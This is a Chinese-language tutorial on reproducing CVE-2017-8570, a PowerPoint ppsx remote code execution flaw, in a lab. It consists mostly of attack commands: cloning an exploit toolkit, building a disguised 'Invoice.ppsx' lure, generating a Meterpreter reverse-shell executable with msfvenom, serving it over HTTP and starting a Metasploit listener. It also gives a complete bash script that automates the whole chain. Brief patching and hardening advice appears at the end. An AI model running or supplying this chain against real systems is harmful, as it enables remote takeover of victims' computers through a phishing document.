CVE-2017-8570复现及编写脚本实现自动化
字数 1217 2025-08-29 08:31:41
CVE-2017-8570漏洞复现及自动化利用脚本编写指南
漏洞概述
CVE-2017-8570是Microsoft PowerPoint演示文稿中的一个远程代码执行漏洞,影响多个Office版本:
- Microsoft Office 2007 Service Pack 3
- Microsoft Office 2010 Service Pack 2 (32-bit和64-bit版本)
- Microsoft Office 2013 RT Service Pack 1
- Microsoft Office 2013 Service Pack 1 (32-bit和64-bit版本)
- Microsoft Office 2016 (32-bit和64-bit版本)
攻击者可以通过发送特制的ppsx(Office 2007及以后版本的演示文稿格式)文件,当用户打开放映时就会触发漏洞。
实验环境配置
攻击机配置
- 系统:Kali Linux
- IP地址:192.168.1.212
- 工具:Metasploit Framework、Python
靶机配置
- 系统:Windows 7
- IP地址:192.168.1.165
- 软件:存在漏洞的Office 2010
漏洞利用步骤详解
1. 下载漏洞利用脚本
在Kali终端中执行:
git clone https://github.com/tezukanice/Office8570.git
2. 生成恶意ppsx文件
进入脚本目录并执行:
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc
3. 生成反弹shell木马
对于64位系统:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/Office8570/shell.exe
对于32位系统:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/Office8570/shell.exe
4. 设置HTTP服务器监听
python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.212/shell.exe -l /var/Office8570/shell.exe
5. 配置MSF监听
启动msfconsole:
msfconsole
在msf中执行:
use exploit/multi/handler
set LHOST 192.168.1.212
set LPORT 7777
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 32位系统使用windows/meterpreter/reverse_tcp
exploit
自动化脚本实现
脚本功能
- 自动下载漏洞利用脚本
- 生成恶意ppsx文件
- 创建反弹shell
- 设置HTTP服务器
- 配置MSF监听
完整脚本代码
#!/bin/bash
attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"
if [ -d ${DIR} ]; then
rm -rf ${DIR}
mkdir ${DIR}
else
mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe`
gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"
`service postgresql start`
if [ -f "exp.rc" ]; then
rm "exp.rc"
fi
echo "use exploit/multi/handler">>exp.rc
echo "set LHOST "$attack_ip>>exp.rc
echo "set LPORT "$LPORT>>exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp">>exp.rc
echo "exploit">>exp.rc
gnome-terminal -e "msfconsole -r exp.rc"
脚本使用说明
- 下载脚本:
git clone https://github.com/Drac0nids/CVE-2017-8570.git
- 修改脚本参数:
attack_ip:设置为Kali的IP地址LPORT:设置MSF监听的端口DIR:设置工作目录(必须为空目录)
- 赋予执行权限:
chmod 777 auto
- 运行脚本:
./auto
- 生成的恶意文件路径:
$DIR/Office8570/Invoice.ppsx
技术要点解析
- 反引号(`)的使用:用于确保命令按顺序执行
- 文件重定向(>>):用于将配置写入msf的rc脚本
- gnome-terminal -e:用于在新终端窗口中运行命令
- rc脚本:用于自动化配置MSF
- 目录结构处理:自动创建和清理工作目录
防御建议
- 及时安装Microsoft发布的安全更新
- 禁用Office中的宏执行
- 不要打开来源不明的Office文档
- 使用受保护的视图打开可疑文档
- 部署终端防护软件监控可疑行为
总结
本文详细介绍了CVE-2017-8570漏洞的复现过程,并提供了一个完整的自动化利用脚本。该脚本整合了从下载利用工具到最终获取meterpreter shell的全过程,大大提高了渗透测试效率。同时,也提供了针对该漏洞的防御措施,帮助系统管理员加固系统安全。